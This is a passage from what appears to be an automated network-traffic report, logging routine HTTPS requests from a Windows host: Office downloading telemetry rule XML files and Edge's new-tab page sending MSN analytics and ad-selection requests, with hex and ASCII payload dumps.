6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5dc315bb-301e-0096-66a5-34e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-15869dbbcc6b2ncxhC1DFWuw0400000000v000000000dnv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7dbe6cd5-601e-00ab-1ca2-3466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-17df447cdb5lrwcchC1DFWphes0000000be0000000009pc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-16547b76f7ftdm8dhC1DFWs13g0000000f3g000000002x8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 75018b07-801e-00a0-22a6-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-15869dbbcc6ss7fxhC1DFWq6vs00000008hg000000001euw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:29 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:29 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 9f11ee7d-201e-0096-73f2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031629Z-16547b76f7fmbrhqhC1DFWkds80000000f4000000000846y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49818	18.161.170.14	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	925	OUT	GET /b?rn=1731381388486&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0286CA52A44560A23542DF67A512618F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:30 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 12 Nov 2024 03:16:30 GMT Location: /b2?rn=1731381388486&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0286CA52A44560A23542DF67A512618F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1520df91e020afd6716591c1731381390; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1520df91e020afd6716591c1731381390; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 50fefc7d0c42cef49b21723158987c38.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P3 X-Amz-Cf-Id: yIA5z5Rvtd5auxHkiSY3509lhtNfgiH2QfQvQJ3zgZNlxqIqoNPraA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49816	20.189.173.16	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381388483&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3809 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
2024-11-12 03:16:30 UTC	3809	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 33 3a 31 36 3a 32 38 2e 34 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 62 62 34 38 32 64 63 2d 36 30 39 37 2d 34 36 30 38 2d 38 37 66 63 2d 36 32 66 38 66 65 33 65 39 38 30 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 30 39 33 38 37 30 32 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-12T03:16:28.478Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"fbb482dc-6097-4608-87fc-62f8fe3e9809","epoch":"3409387024"},"app":{"locale
2024-11-12 03:16:30 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=80c186df59e84c41b1d8efa1ee1982e6&HASH=80c1&LV=202411&V=4&LU=1731381390405; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 03:16:30 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c416c5960c00474fa2faee36642422f1; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 03:46:30 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1922 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 03:16:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49817	20.125.209.212	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	1175	OUT	GET /c.gif?rnd=1731381388485&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9b3abdd6251a4230bf51a1aefee3a88a&activityId=9b3abdd6251a4230bf51a1aefee3a88a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
2024-11-12 03:16:30 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731381388485&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9b3abdd6251a4230bf51a1aefee3a88a&activityId=9b3abdd6251a4230bf51a1aefee3a88a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C2568DB3F3164F8F8DB62A832E48B224&RedC=c.msn.com&MXFR=0286CA52A44560A23542DF67A512618F Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0286CA52A44560A23542DF67A512618F; domain=.msn.com; expires=Sun, 07-Dec-2025 03:16:30 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 12 Nov 2024 03:16:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49819	20.1.248.118	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0286CA52A44560A23542DF67A512618F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=307dccfd8dd9404ebcee7910940d63d6 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
2024-11-12 03:16:30 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 12 Nov 2024 03:16:29 GMT Connection: close
2024-11-12 03:16:30 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 57085b9e-f01e-005d-1ca2-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031630Z-17df447cdb5w28bthC1DFWgb640000000az000000000q69s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
